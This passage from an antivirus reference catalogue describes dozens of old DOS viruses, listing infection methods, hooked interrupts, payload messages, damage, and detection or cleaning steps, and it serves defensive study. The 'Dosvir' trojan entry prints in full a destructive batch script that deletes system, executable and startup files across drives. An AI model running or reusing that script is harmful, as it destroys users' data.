   executed is an uninfected COM file, it infects it.

Damage: When the virus breaks out, it will make the screen flash once
. Then it changes data in the PARTITION. The change is achieved by
XOR replacing every fourth byte of the four PARTITION records with 55 (There
are four PARTITION records in the PARTITION table).

Note: The date and time of infected files does not change.

Detecting Method:  Infected files will increase by 976 bytes.

[AST-1010]
Virus Name: Ast-1010
Virus Type: Memory Resident, COM & EXE File
            infector
Virus Length: 1,010 bytes

Executing Procedure: The virus will decode first. Then it will
check whether it has stayed resident in memory. If not, it will
stay resident in high memory. Then it hooks INT21h and infects all COM
& EXE files on the current directory (It does not infect the same file
again). At last, it checks whether the current day is the 16th. If it is, it makes
changes the PARTITION to keep the system from booting correctly.

Vectors hooked:
1) Hooks INT 21h to check whether it has stayed resident in
   memory.
2) Hook INT 21(AX=4B00h),to infect files. If the program to be
   executed is an uninfected COM or EXE file,  it infects it.

Damage: When the virus breaks out, first it will make the screen flash
once. Then it changes some data in the partition. The change is achieved by
XOR replacing every fourth byte of four partition records with 55 (There
are four partition records in partition table).

Note:
1) Date and time of infected files does not change.
2) The method of checking whether it has stayed resident in
   memory is same as the AST-976 virus. So, these two viruses can
   not stay resident in memory at the same time.

Detecting Method:  Infected files will increase by 1010 bytes.

[Filler]
Virus Name: Filler
Virus Type: File infector

Executing Procedure: During the period of being executed, it will
write some rubbish into some sectors on the A diskette. It has no
other damage actions.

Damage: Destroys some sectors on A diskette (Starts from 0 side, 28
track, 1 sectors, damages 8 sectors).

$#Path
Virus Name: Path
Virus Type: COM File infector
Virus Length:  3+906 bytes

Executing Procedure: It will decode its later half first.
Then it checks whether there have been some programs infected. If
there have, it infects only one program. Otherwise, it goes back to run
the original routine. The searching path is the path set in PATH.
The condition of the infectable file is that it must be an uninfected
COM file, and its length must be between 10 bytes and 64000 bytes.

Damage: None

Note:
1) Does not stay resident in memory.
2) Date and time of infected files does not change.
3) Infected files will increase by 906+G bytes (0<=G<=247).

[Flower]
Virus Name: Flower
Virus Type: EXE File infector
Virus Length:  883 bytes

Executing Procedure: It will decode its encoded section first.
Then it checks whether the current date is November 11, or whether the
virus Version is not less than 174. If either of these conditions are
satisfied, it destroys the original program (Document) and go back to run
the original routine. Otherwise, it will search for the first uninfected
program on the current directory and infect it. Then it searches for the first
uninfected program on the subdirectory under the root directory and
infects it. Then it goes back to run the original routine. Every infected
file has its own number. When it infects a file, it will increase
the current number by 1. This number will be delivered to the next
infection process.

Damage: When the virus breaks out, it will attach a procedure
to the original procedure to display a message (An English poem whose
title is "FLOWER"). Then it destroys the original procedure by
overwriting its front data.

Note: Date of infected files does not change. The time changes
because the time has been encoded to verify that the file is infected.

[Grunt-3]
Virus Name: Grunt-3
Virus Type: COM File infector
Virus Length:  3+473 bytes

Executing Procedure: It will decode its later half section first.
Then check if there is an uninfected COM & EXE file on current
and it's all father directory. If there is, it checks whether the current
year is not less than 1993 and it is Friday. If it is, it does not
infect any files except for displaying the following:

    "This is a hot  LZ ...Eradicating the Enemy!".

Otherwise, it infects it (It infects only one file once a time).

Damage: None

Note:
1) Does not stay resident in memory.
2) Date and time of infected files do not change.

Detecting Method: Infected files will increase by 473 bytes.

[Ultrasik-1967]
Virus Name: Ultrasik-1967
Virus Type: EXE File infector
Virus Length:  1967 bytes

Executing Procedure: Searches for an uninfected EXE file and
infects it. The searching path is from the current directory to its
subdirectory, to subdirectories under the last subdirectory, to the root
directory, to subdirectories under the root directory. After that, it
will go back to the original routine. If there is not an
infectable file, it halts the system (The original plan is to format C
diskette.  But it instead halts the system because due to a bad
instruction in virus's procedure).

Damage: None

Note: Date and time of infected files does not change.

Detecting Method: Length of infected files would increase. The
algorithm is: First, adds original length to let it become a
multiple of 16. Then increases it by 1967 bytes.

[Madden]
Virus Name: Madden
Virus Type: EXE File infector
Virus Length:  1988 bytes

Executing Procedure: Searches for an uninfected EXE file and
infects it. The searching path is from the current directory to its
subdirectory, to the subdirectories under the last subdirectory, to the root
directory, to the subdirectories under root directory. After that, it
will go back to the original routine. If there is not an
infectable file, it will issue a strange sound that stops only
when the system is rebooted.

Damage: None

Note: Date and time of infected files does not change.

Detecting Method: Length of infected files would increase. The
algorithm is: First adds to the original length to let it become a
multiple of 16, and then increases it by 1988 bytes.

[Madden-B]
Virus Name: Madden-B
Virus Type: EXE File infector
Virus Length:  1440 bytes

Executing Procedure: Searches for an uninfected EXE file and
infects it. The searching path is from the current directory to its
subdirectory, to the subdirectories under the last subdirectory, to the root
directory, to the subdirectories under the root directory. After that,
it will go back to the original routine. If there is not an
infectable file, it will issue a sound from high to low, from low
to high, and so on until the system is rebooted.

Damage: None

Note: Date and time of infected files does not change.

Detecting Method: Length of infected files would increase. The
algorithm is: First adds  original length to let it become a
multiple of 16, and then increases it by 1440 bytes.

[Prime]
Virus Name: Prime
Virus Type: *.C*(Mainly *.COM) File infector
Virus Length:  580 bytes

Executing Procedure: It will decode its later half section first.
Then it checks whether the current day is 1. If it is, it displays a message
and rotates screen from left to right once. No matter what
current day is, it will search an uninfected file on the
current directory and infect it.
Then end. The method of
infection is:
1) Get original codes and encode them with F3h.
2) Get system time and encode it with virus's later half codes.
3) Attach virus code to original file, followed by original
   codes.

Vectors hooked: Hook INT 01h, INT 03h to prevent Debug program.
When Debug program executed, it will jump to FE05Bh to reboot
system. Hook INT 24h to prevent write protection on current
diskette. When INT 24h called, it will halt system because
some procedure of virus is bad.

Damage: Original programs encoded. So, they will not be executed
after virus executed.

Note:
1) Does not stay resident in memory.
2) The affair listed later will happen because some procedure of
   virus is bad. If there are *.C* files on the current directory but
   these files are not infectable (They have already been
   infected), the system will be halted after the virus has been
   executed. This will not happen on other conditions.
3) Date and time of infected files do not change.

Detecting Method: Infected files will increase by 580 bytes.

Cleaning Method: Omit First 580 bytes of infected files. The
surplus bytes would XOR with F3h one by one.

[PSV-354]
Virus Name: Psv-354
Virus Type: COM File infector
Virus Length:  354 bytes

Executing Procedure: It will decode its later half section first.
Then check whether there have some programs infectable. If there
have, infect only one of them. Otherwise, go back to run original
routine. The condition of infectable file is that it must be an
uninfected COM file, and its length is between 150 bytes and
65000 bytes.

Damage: None

Note:
1) Does not stay resident in memory.
2) Date and time of infected files do not change.
3) Does not infect the COMMAND.COM of DOS 5.0

Detecting Method: Infected files will increase by 354 bytes.

[PCBB]
Virus Name: Pcbb
Virus Type: Memory resident, COM File infector
Virus Length:  3+(1675-1687) bytes

Executing Procedure: It will decode its later half section first.
Then check whether it has stayed in memory. If not, it will move
itself to high memory. Then hook  INT 21h,INT 09h,INT 1Ch and go
back to run original routine. The infection happens when
executing program, copying file, changing file's attribute,
opening file, closing file, and renaming file (AH=56h). When it
infects a file, it will check what day of the week is it today
first. There are seven encoding modes according to the judgment.
It does not infect same file again, and length of infectable
files must between 16 bytes and 61440 bytes.

Symptom: When virus breaks out, the screens displays nothing every
time the number of keys struck is equal to 957. This time, it
will reset the counter to count continually. You can press down
Alt, Control, Shift of left & right together to make the screen
display again.

Damage: None

Note: It stays resident in memory (It will take 4K bytes).

Detecting Method:
1) Date and time of infected files changed.
2) Infected files will increase by 1675,1677,1679,
   1679,1680,1683,1687 bytes according to what day of the week is
   it today (From Sunday to Saturday).
3) "PCBB" is attached to the end of infected file.

[Comspec]
Virus Name: Comspec
Virus Type: File Infector
Virus Length:  3424 bytes

Executing Procedure: It will execute COMMAND.COM to create 6
copies of virus file by using 6 file names in C:\DOS directory
(The copies saved in current directory). If there is no C:\DOS
directory, it will create a file named "COMSPEC".

Damage: It would overwrite 6 files if we execute it on C:\DOS
directory.

Detecting Method: Length of infected files is 3424.

[T-1000]
Virus Name: T-1000
Virus Type: COM File infector
Virus Length:  128 bytes

Executing Procedure: It will decode its later half section first.
Then infect all COM files on current directory. The method of
infection is: Get system time and encode it with original
procedure. Then overwrite its first 128 bytes by virus code. So,
if it is less than 128 bytes, it will be 128 bytes after it has been
infected. Otherwise, the size of it does not change.

Damage: It will overwrite the first 127 bytes of original files by
virus code. So the original files destroyed.

Detecting Method: Date and time of infected files changed.

[Seneca]
Virus Name: Seneca
Virus Type: EXE File infector
Virus Length:  392 bytes

Executing Procedure: It will get system date & time. There are
three conditions of infection:
(1)Current  year is not larger than 1980 and current minute is
   less than 30, or current year is larger than 1980 and current
   day is not November 25: It will infect all EXE files on
   current and it's all father directories.
(2)Current  year is not larger than 1980 and current minute is
   not less 30: It will display a message as: "You shouldn't use
   your computer so much, its bad for you and your computer.".
   Then destroy current diskette.
(3)current year is larger than 1980 and current day is November
   25: It will display a message as:

       "HEY EVERYONE!!!"
       "Its Seneca's B-Day !  Let's Party!"

   Then destroy current diskette. The method of destroying
   diskette of (2) & (3) is:  Write some data into first 255
   sectors of diskette. So many important data of the diskette
   will lost.

Damage: In condition (1), infected files destroyed because their
first 392 bytes overwritten. In condition (2) & (3), illustration
has listed above.

Note: Date and time of infected files do not change.

Detecting Method: You can see messages listed above by typing an
infected file.

[Version]
Virus Name: Version
Virus Type: Memory resident, COM File infector
Virus Length:  708 bytes

Executing Procedure: First, It will decode its first 3 bytes.
Then check whether it has stayed resident in memory. If it has,
go back to the original routine directly. Otherwise, it will stay
resident in high memory, then hook INT21h  and   go back to the
original routine.

Vectors hooked:
1) Hook INT 21h(AH=30h) to make the result of getting DOS Version
   is not right.
2) Hook INT 21h(AX=4203h) to verify that memory has been infected
   by returning AX=6969h.
3) Hook INT 21h(AX=4B00h)to infect COM files.

Damage: The call of getting DOS Version could not run correctly.

Note: This virus can not run correctly. That mean it is just a
half finished product.

Detecting Method:
1) Date and time of infected files changed.
2) Infected files will increase by 705 bytes.

[Versikee-1326]
Virus Name: Versikee-1326
Virus Type: EXE File infector
Virus Length:  1326 bytes

Executing Procedure: Search for an uninfected EXE file and
infects it (It infects only one file once a time). The searching
path is from current directory to its subdirectory,  to
subdirectories under last subdirectory, to root directory, to
subdirectories under root directory. If there is an infectable
file, it will check system time. If current second is a multiple
of 8, destroy first 5 byte of the file. Otherwise, infect it. At
last, go back to original routine.

Damage: Sometimes the first 5 bytes of files destroyed.

Note: Date and time of infected files do not change.

Detecting Method: Length of infected files would increase. The
algorithm is: First, adds original length to let it became a
multiple of 16, and then increase it by 1326 bytes.

[163]
Virus Name: 163
Virus Type: COM File infector
Virus Length:  163 bytes

Executing Procedure: It will infect first uninfected COM file on
current directory. If there are no COM  files on current
directory or it has infected one, go back to original routine.

Damage: None

Note:
1) The method of infection is:
   (1)Move first 163 bytes of original file to the end.
   (2)Write virus codes into its first 163 bytes.
   So original file would be destroyed if it is less than 163
   bytes.
2) Does not infect same file again.
3) Date and time of infected files do not change.

Detecting Method:
1) Infected files will increase by 163 bytes.
2) Checks whether there is "*.COM" from 19Dh byte of a file.

[Vengence-A]
Virus Name: Vengence-A
Other Name: Vengence-194
Virus Type: *.C* File infector
Virus Length:  194 bytes

Executing Procedure: It will infect all *.C* files on current
directory.

The method of infection is: Overwrite files' first 194 bytes by
virus code. So if original file is less than 194 bytes, they will
be 194 bytes after been infected. Otherwise, size of them does
not change.

Damage: It will overwrite first 194 bytes of original files by
virus code. So the original files destroyed.

Detecting Method:
1) Date and time of infected files changed.
2) There is a text at the end of infected files, the text is:

    "Vengence-A virus. Lastest release from Swedish Virus
     Association. Released 7th of May 1992. Happy hacking and
     greetings to all Virus writers..."

[Vengence-B]
Virus Name: Vengence-B
Other Name: Vengence-252
Virus Type: *.C* (Mainly COM) File infector
Virus Length:  252 bytes

Executing Procedure: It will infect first *.C* file on current
directory.

The method of infection is: Overwrite file's first 252 bytes by
virus code. So if original file is less than 252 bytes, it will
be 252 bytes after being infected. Otherwise, the size of it does not
change.

Damage: It will overwrite first 252 bytes of original files by
virus code. So original files destroyed.

Note: Date and time of infected files do not change.

Detecting Method:
There is a text at the end of infected files, the text is:

    "Vengence-B virus. Lastest release from Swedish Virus
     Association. Released 8th of May 1992. Satan will come and
     rule his world and his people!"

[Vengence-C]
Virus Name: Vengence-C
Other Name: Vengence-390
Virus Type: *.C* (Mainly COM) File infector
Virus Length:  390 bytes

Executing Procedure: It will infect the first *.C* file on current
directory.

The method of infection is: Overwrite file's first 390 bytes by
virus code. So if original file is less than 390 bytes, it will
be 390 bytes after been infected. Otherwise, size of it does not
change.

Damage: It will overwrite first 390 bytes of original files by
virus code. So original files destroyed.

Note:
1) Date and time of infected files does not change.
2) When virus executed, it will check if there are some scanning
   virus software like F-LOCK, F-POPUP, F-FCHK, F-DLOCK,
   ThunderByte, TBSCANX. If any of these software are found, stop
   executing.

Detecting Method:
There is a text at the end of infected files, the text is:

    "Vengence-C virus. Lastest release from Swedish Virus
     Association. Released 8th of May 1992. Satan will come and
     rule his world and his people!"

[Vengence-D]
Virus Name: Vengence-D
Other Name: Vengence-435
Virus Type: *.C* (Mainly COM) File infector
Virus Length:  435 bytes

Executing Procedure: First, it will check whether current time is
12:00(AM). If it is, displays a message and then increases system
time by an hour. The message is:

    "Vengence-D virus. Lastest release from Swedish Virus
     Association. Released 8th of May 1992. Satan will come and
     rule his world and his people!"

Then it will infect first *.C* file on current directory.

The method of infection is: Overwrite file's first 435 bytes by
virus code. So if original file is less than 435 bytes, it will
be 435 bytes after it has been infected. Otherwise, the size of it does not
change.

Damage: It will overwrite first 435 bytes of original files by
virus code. So original files destroyed.

Note:
1) Date and time of infected files do not change.
2) When virus executed, it will check whether there are some
   scanning virus software like F-LOCK, F-POPUP, F-FCHK,
   F-DLOCK, ThunderByte, TBSCANX . If any   of these is found, it
   will stop executing.

Detecting Method: There is a text at the end of infected files,
the text has listed above.

[Vengence-F]
Virus Name: Vengence-F
Other Name: Vengence-656
Virus Type: *.C* (Mainly COM) File infector
Virus Length:  656 bytes

Executing Procedure: First, it will check whether current time is
12:00(AM). if it is, display a message and then increase system
time by an hour. The message is:

    "Vengence-F virus. Debugging session unlimited."

Then it will infect first *.C* file on current , its father, its
father's father directory, and so on.

The method of infection is: Move first 656 bytes of original file
to the end, then write virus code into first 656 bytes. Then
attach "SVC" to the end of it.

Damage: Infected programs could not be executed

Note:
1) Date and time of infected files does not change.
2) When virus executed, it will check :
   (1)Whether it is being traced by Debug. If it is, halt system.
   (2)whether there are some scanning virus software like
      F-LOCK, F-POPUP, F-FCHK, F-DLOCK, ThunderByte, TBSCANX. If
      any of these software is found, stop executing.

Detecting Method:
1) There is a text at the back of infected files, the text has
   listed above.
2) There is a message at the end of infected files, the message
   is "SVC".
3) Infected files will increase by 656 bytes.

Cleaning Method: First, omit first 656 bytes from infected files,
then omit "SVC" from the end of it. If length of current file is
larger than 656 bytes, move latest 656 byte to the beginning.

[V500]
Virus Name: V500
Virus Type: Memory Resident(OS), COM File infector
Virus Length:  500 bytes

Executing Procedure: Virus checks whether the DOS Version is 3.3.
If not, goes back to original routine directly. Otherwise, it
will stay resident in memory (OS area). Then, when the interrupt
among INT 00h to INT 0CH is called, the system will call INT 86h
automatically to infect COM files executed (Length must be
between 200h bytes and F600h) and goes back to the original
routine. A file can be infected many times.

The method of infection is: First, moves the first 500 bytes of
the original file to the end, then writes virus codes into the first 500
bytes of the file.

Vectors hooked: Hook INT 21H(AH=4Bh) to infect files. It will
check whether the program to be executed is an COM file. If it
is, the virus proceeds to infect it.

Damage: None

Note: Date and time of infected files do not change.

Detecting Method: Infected file sizes increase by 500 bytes.

[Crazy-L15]
Virus Name: Crazy-I15
Virus Type: Memory Resident(HiMem), COM File infector
Virus Length: 1,402 bytes

Executing Procedure: Checks whether it resides in memory. If not,
it will stay resident in high memory. Then hooks INT 21h and goes
back to the original routine.

Vectors hooked: Hooks INT 21H(AH=4Bh) to infect files. First, it
will hang INT 24h to prevent divulging its trace when writing,
then checks whether the program to be executed is an uninfected
COM file. If it is, virus proceeds to infect it. Finally, restores
INT 24h.

Damage: None

Detecting Method: Infected file sizes increase by 1402 bytes.

[Variety]
Virus Name: Variety
Virus Type: COM File infector
Virus Length:  625 bytes

Executing Procedure: The virus decodes first. Then infects a COM
file on current directory (It only infects one  file at a time).
The method of infection is: First, it will encode virus code,
then attaches it to the end of original file.

Damage: None

Note:
1) If DOS Version is not above 2.0, it will not infect any files.
2) Time and date of infected files do not change.

Detecting Method: Infected file sizes increase by 625 bytes.

[Infector]
Virus Name: Infector
Virus Type: COM File infector
Virus Length:  820-830 bytes

Executing Procedure:
Searches for an uninfected COM file on the current directory, and
proceeds to infect it (It only infects one file at a time.)

Damage: None

Note:
1) Most infected files cannot be executed due to the poor quality
   of the virus procedure.
2) Does not stay in memory.
3) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 820 to 830
bytes.

[Irish-3]
Virus Name: Irish-3
Virus Type: COM File infector
Virus Length:  1164 bytes

Executing Procedure: Checks whether it is residing in memory. If
not, it will stay resident in   high memory. Then hooks INT 21h,
INT 1Ch and goes back to the original routine.

Vectors hooked: Hooks INT 21H(AH=4Bh) to infect files. It will
check whether the program to be executed is an uninfected COM
file. If it is, the virus proceeds to infect it. If it is an
uninfected EXE file, then virus creates a new COM file (with
length between 2000 and 4000 bytes) with the same file name as
original EXE file. This new COM file is the virus.

Damage: None

Note:
1) If current date is November 21, it will count time by hook INT
   08h. After a few minutes. It will display the following
   message:

   "Virus V2.0 (c) 1991 Necros The Hacher Written on 29,30
   June.................................. ...................."

2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 1164 bytes.

[SILENT_LAMB]
Virus Name: SILENT_LAMB
Alias Name: The Silence Of The Lamb!
Virus Type: Memory resident, COM File infector
Virus Length:  555 bytes

Executing Procedure: Checks whether it is resident in the last
memory block.  If not, it will stay resident in high memory and
returns to original routine. The method of infection is: First,
encodes first 200h bytes of original file and attaches them and
decoded codes to the end of the file. Then encodes virus code and
writes them into first 200h bytes of the file.

Vectors hooked: Hooks INT 21H(AH=4Bh) to infect files. Firsts, it
will hang INT 24h to prevent divulging its trace when writing,
then checks whether the program to be executed is an uninfected
COM file (Length is between 0400h and FA00h bytes). If it is,
infect it. Finally, virus restores INT 24h. Damage: None

Note:  Date and time of infected files do not change.

Detecting Method:
1) Call INT21h (AH=2Dh,CH=FFh,DH=FFh) to return value AH. If
   AH=00h, memory has been infected. If AH=FFh, memory has not
   been infected.
2) If word at address 0002 of COM file is 5944h, memory has been
   infected. After virus code have decoded, there is a text in
   address from 01E6h to 01EFh. The text is

   "The Silence Of The Lamb!$".

3) Total memory decreases by 1568 bytes.

[Gorlovka]
Virus Name: Gorlovka
Virus Type: Memory resident, COM & EXE File infector
Virus Length:

Executing Procedure: Checks whether it resides in memory. If it
is, virus displays the following message: "Tracing mode has been
destroyed." Otherwise, it will stay resident in high memory. Then
hooks INT 21h and then displays: "Tracing mode has been
destroyed."

Vectors hooked: Hooks INT 21H(AH=4Bh). First, it will hang INT
24h to prevent divulging its trace when writing, then checks
whether the program to be executed is an uninfected COM or EXE
file. If it is, virus proceeds to infect it.    Finally, virus
restores INT 24h.

Damage: It will overwrite original files with virus code.
Original files are destroyed.

Note: Infected file lengths do not change

Detecting Method: When an infected file is executed, it will
display the above message.

[Akuku-649]
Virus Name: Akuku-649
Virus Type: COM File infector
Virus Length:  649 bytes

Executing Procedure: Searches for all uninfected COM file on
current directory (It does not infect same file twice) and then
proceeds to infect  them. No matter whether it has infected files
or not, it will check to see whether current calendar year is
greater then 1994, that the current month is greater than 6, that
the current day is greater than 6, and that current time is after
15:00. If all these conditions are met, virus displays the
following message:

    "A kuku frajerze."

Damage: None

Note:
1) Does not stay in memory.
2) Before infecting files, it will hang INT 24h to prevent
   divulging its trace when writing.

Detecting Method: Infected file sizes increase by 649 bytes.

[Cossiga]
Virus Name: Cossiga
Virus Type: EXE File infector
Virus Length:

Executing Procedure: Searches for an uninfected EXE file on
current directory, and then infects it (It only infects one file
at a time). No matter whether it has infected files or not, it
will check whether current date is after 10/17/1991. If it is,
virus displays following message:

    "COSSIGA ?! NO GRAZZIE ! By Amissi dee Panoce (c) 1991 "

Damage: It will overwrite original files with virus code.
Original files are destroyed.

Note:
1) Does not stay in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

[DOS Vir]
Virus Name: Dosvir
Virus Type: TROJAN
Virus Length:  3004 bytes

Executing Procedure: Virus creates a batch file, and then
executes this batch file. Therefore, this virus is just like a
batch file Content of batch file is as follows:

        CLS
        echo Cracked by Cracking Kr .e 20 2
        echo Loading game.  .Please Wait....
        c:
        CD\
        DEL autoexec.bat
        DEL *.exe
        DEL *.com
        DEL *.exe
        DEL *.com
        DEL *.sys
        ATTRIB..-r ibmbio.com
        ATTRIB..-r ibmdos.com
        ATTRIB..-r ibmbio.sys
        ATTRIB..-r ibmdos.sys
        DEL ibmbio.com
        DEL ibmdos.com
        DEL ibmbio.sys
        DEL ibmdos.sys
        CD\bbs
        DEL *.exe
        DEL *.com
        CD\dos
        DEL *.exe
        DEL *.com
        d:
        CD\
        DEL autoexec.bat
        DEL *.exe
        DEL *.com
        CD\dos
        DEL *.exe
        DEL *.com
        CD\bbs
        DEL *.exe
        DEL *.com
        CLS

[Deranged]
Virus Name: Deranged
Virus Type: EXE File infector
Virus Length: 419 bytes

Executing Procedure: Searches for all uninfected EXE files on
current directory, and then proceeds to infect them.

Damage: None

Note:
1) Because the virus procedure is not well written, system halts
   when an infected file is executed.
2) Does not stay in memory.
3) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 419 bytes.

[James]
Virus Name: James
Virus Type: COM File infector
Virus Length: 356 bytes

Executing Procedure: Checks whether it remains resident in
memory. If not, it will stay resident in high memory. Then hooks
INT 21h and goes back to original routine.

Vectors hooked: Hooks INT 21H(AH=4Bh) to infect files. First, it
will hang INT 24h to prevent divulging its trace when writing,
then checks whether the program to be executed is an uninfected
COM file. If it is, virus proceeds to infect it. Finally, virus
restores INT 24h.

Damage: None

Detecting Method: Infected file sizes increase by 356 bytes.

[Abraxas-3]
Virus Name: Abraxas-3
Virus Type: EXE File infector
Virus Length: 1200 bytes

Executing Procedure:
First, virus issues the song "Do Re Mi Fa So La Si Do Re......".
Then displays the message:

    "abraxas"

in enlarged font. Then, searches for an uninfected EXE file on
current directory and proceeds to infect it (It only infects one
file at a time). The method of infection is: Creates a file with
the same name as the original file, and its length is 1200 bytes.

Damage: It will overwrite original files with virus code.
Original files are destroyed.

Detecting Method: Infected file length is 1200 bytes.

[Wolfman]
Virus Name: Wolf-Man
Virus Type: Memory Resident, COM & EXE File
            infector
Virus Length: 2064 bytes

Executing Procedure: Checks whether it remains resident in
memory. If not, it will stay resident in memory. Then checks
whether current calendar day is 15. If it is, virus will manifest
itself. Otherwise, hooks INT 09H, INT 10H, INT 16H, INT 21H and
goes back to the original routine.

Vectors hooked: Hooks INT 21H to infect files. It will check
whether the program to be executed is an infectable file (Except
COMMAND.COM), and then proceeds to infect it (The infectable file
length must be larger than 1400 bytes). Hooks INT 9h, INT 10h to
check whether something in program has changed. If it has, virus
will manifest itself.

Symptoms: Displays a message.  Overwrites current diskette with
virus code until there is no more free space. Delays 30 seconds
and proceeds to reboot system.

Damage: Destroys all data on current diskette.

Note:
1) Procedure for displaying the virus message is designed for
   Herc display card.  Therefore, system halts if is run on a
   color display card. This, in turn, can prevent destruction of
   the hard disk.
2) Virus procedure contains WOLFMAN" text.

Detecting Method:
1) Infected file sizes increase by 143 bytes.
2) Checks whether an executed program remains resident in memory
   (it will occupy approx. 65.6K bytes) by using MEM.EXE program.

[Cuban]
Virus Name: Cuban
Virus Type: COM File infector
Virus Length: 1501 bytes

Executing Procedure: Checks whether it has remained resident in
memory. If not, it will stay resident in high memory. Then hooks
INT 21h and goes back to original routine. This virus will check
whether current calendar day is 30. If it is,   virus proceeds to
destroy all data on hard diskette.

Vectors hooked: Hooks INT 21H(AH=4Bh)to infect files. First, it
will hang INT 24h to prevent divulging its trace when writing. If
the program to be executed is an uninfected COM file, virus
infects it directly. If the program to be  executed is an EXE
file, it will search for an unfixed COM file and infect this COM
file. Finally, virus restores INT 24h.

Damage: Virus will sometimes destroy all data on hard diskette.

Detecting Method: Infected file sizes increase by 1501 bytes.

[Darkend]
Virus Name: Darkend
Virus Type: EXE File infector
Virus Length: 1188 bytes

Executing Procedure: Checks whether it has remained resident in
memory. If not, it will stay resident in high memory. Then hooks
INT 21h and goes back to original routine. This virus will check
whether current date is October 15. If it is,   virus destroys
all data on hard diskette.

Vectors hooked: Hooks INT 21H(AH=4Bh) to infect files. If the
program to be executed is an uninfected EXE file, virus proceeds
to infect it directly.

Damage:  Virus will sometimes destroy all data on hard diskette.

Detecting Method: Infected file sizes increase by 1188 bytes.

[Story-A]
Virus Name: Story-A
Virus Type: COM File infector
Virus Length: 1117 bytes

Executing Procedure: Searches from root directory and all
subdirectory to find 3 uninfected COM   (Except COMMAND.COM)
files, and then infects them (It does not infect same file
twice). Then holds the order of every infected file. Then checks
if the order of current infected file is larger than 7, or if
current date is July 9. If either of these two conditions are
met, virus   will be triggered.

Vectors hooked: Hooks INT 08H to accumulate system time.

Symptoms: Does not execute infection procedure, stays resident in
memory. Then hooks INT 08h. 290 seconds later, a message displays
in inverse mode repeatedly in 22-second cycles.

Note: Date and time of infected files do not change.

Detecting Method:
1) Memory:
   a) Total system memory  decreases.
   b) Virus might be triggered if first 4 bytes of segment
      (Before free memory) are FFh,26h, 04h,01h.
2) File:
   a) Infected file sizes increase by 1117 bytes.
   b) First 4 bytes of infection are FFh,26h,04h, 01h.

[Story-B]
Virus Name: Story-B
Virus Type: COM File infector
Virus Length: 1168 bytes

Executing Procedure: Searches from root directory and all
subdirectory to find 3 uninfected COM (Except COMMAND.COM) files,
and then infects them (It does not infect same file twice). Then
holds the order of infected files. Then checks if the order of
current infected file is larger than 7, or whether current month
is December. If either of these two conditions are met, the virus
will be triggered.

Vectors hooked: Hooks INT 08H to accumulate system time.

Symptoms: Does not execute infection procedure, stays resident in
memory. Then hooks INT 08h. 290 seconds later, a message
displays in inverse mode repeatedly in 22-second cycles.

Note: Date and time of infected files do not change.

Detecting Method:
1) Memory:
   a) Total system memory decreases.
   b) Virus might be triggered if first 4 bytes of segment
      (Before free memory) are FFh,26h, 04h,01h.
2) File:
   a) Infected file sizes increase by 1168 bytes.
   b) First 4 bytes of infection are FFh,26h,04h, 01h.

[MS DOS 3.0]
Virus Name: Ms-Dos3.0
Virus Type: COM File infector
Virus Length:  953 bytes

Executing Procedure: Checks whether it has remained resident in
memory. If not, it will stay resident in high memory. Then hooks
INT 21h and returns to  the original routine.

Vectors hooked: Hooks INT 21H (AH=3Dh,AX=4B00h) to infect files.
If the program to be executed or opened is an uninfected COM file
(Except COMMAND.COM) and its length is not larger than FB00h,
virus proceeds to infect it. The method   of infection is: writes
a total of 35Dh bytes (1Ch bytes are its head, first 3B9h bytes
of file) to the end of file, then overwrites its first 3B9h bytes
with virus codes. If the program to be executed or opened is an
uninfected EXE file and its length is not larger than 4000h,
virus infects it. The method of infection is: after filling the
left bytes of segment, it will attach a total of 3F1h bytes
(virus codes(3B9h)+data in original file(1Ch)+head offile(1Ch))
to the end of file, then changes the pointer in head to virus
procedure.

Damage: None

Note:
1) Date and time of infected files do not change.
2) Stealth type virus: restores infected file information when
   virus is in system memory.

Detecting Method:
1) Memory:
   a) Total system memory decreases by 7A0h bytes.
   b) Memory might be infected if AX=9051h (AX is a return value
      when INT 21h(AH=B3h) called).
2) File:
   a) Infected COM file sizes increase by 500 bytes.
   b) Infected EXE file sizes increase by 1009-1024 bytes.
   c) Use DEBUG to load an infected file.

[Evilgen]
Virus Name: Evilgen
Virus Type: COM & EXE File infector
Virus Length:  955 bytes(Version 1.1) , 963 bytes(Version 2.0)

Executing Procedure: Checks whether it has remained resident in
memory. If not, it will stay resident in high memory. Then hooks
INT 21h, INT 09h and goes back to the original routine. It will
check if current day is 24 and   if the 'Del' key is being pushed
down. If so, virus will be triggered.

Vectors hooked: Hooks INT 21H(AX=4B00h) to infect files. If the
program to be executed is an uninfected EXE or COM file, virus
proceeds to infect it. Hooks INT 09h to check whether the 'Del'
key is being pushing down.

Symptom: Selects a sector, then formats the sector from head
0,track 0 to head 0, track 20h on C diskette.

Damage: Virus will sometimes destroy C diskette.

Note:
1) Date and time of infected files do not change.
2) While memory has been infected, typing  Dir" does not reveal
   changes in file length.

Detecting Method:
1) Memory:
   a) Total system memory decreases.
   b) COMMAND.COM on root directory on C diskette has been
      infected if BX=9051h(BX is a return value when INT
      21h(AX=7BCDh) called).
   c) The pointers of INT 21h and INT 09h are the same.

2) File:
   Infected file sizes increase by 955 bytes (Version 1.1) or 963
   bytes (Version 2.0.) Changes in file sizes are apparent only
   when memory has not been infected.

[Decide-2]
Virus Name: Decide-2
Virus Type: COM File infector
Virus Length:  1335 bytes

Executing Procedure: Searches for an uninfected COM file on
current directory, and then infects it (It only infects each file
once). No matter whether it has infected a file or not, it will
check whether current calendar month is September or October, and
current day is between 3 and 18. If it is, virus displays the
following:

    "As the good times of DECIDE will be remembered, I started to
    make a new virus. You are not facing the dark tombs of
    "Morgoth". Humble regards to : Pazuzu, Kingu, Absu Mummu
    Tiamat, Baxaxaxa Baxaxaxa, Yog Sothoth Iak Sakkath, Kutulu,
    Humwawa Xaztur, Hubbur Shub Niggurath. Also my lovely regards
    go to Stephanie, the only one who makes my heart beat
    stronger. Want to make love with a Moribid Angel? Glenn
    greets ya. Press a key to start the program...

Damage: None

Note:
1) Does not remain in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 1335 bytes.

[ED]
Virus Name: Ed
Virus Type: COM & EXE File infector
Virus Length: 775-785 bytes

Executing Procedure: Checks whether it has remained resident in
memory. If not, it will stay resident in high memory. Then hooks
INT 21h and goes back to original routine.

Vectors hooked: Hooks INT 21H(AH=4Bh)to infect files. First, it
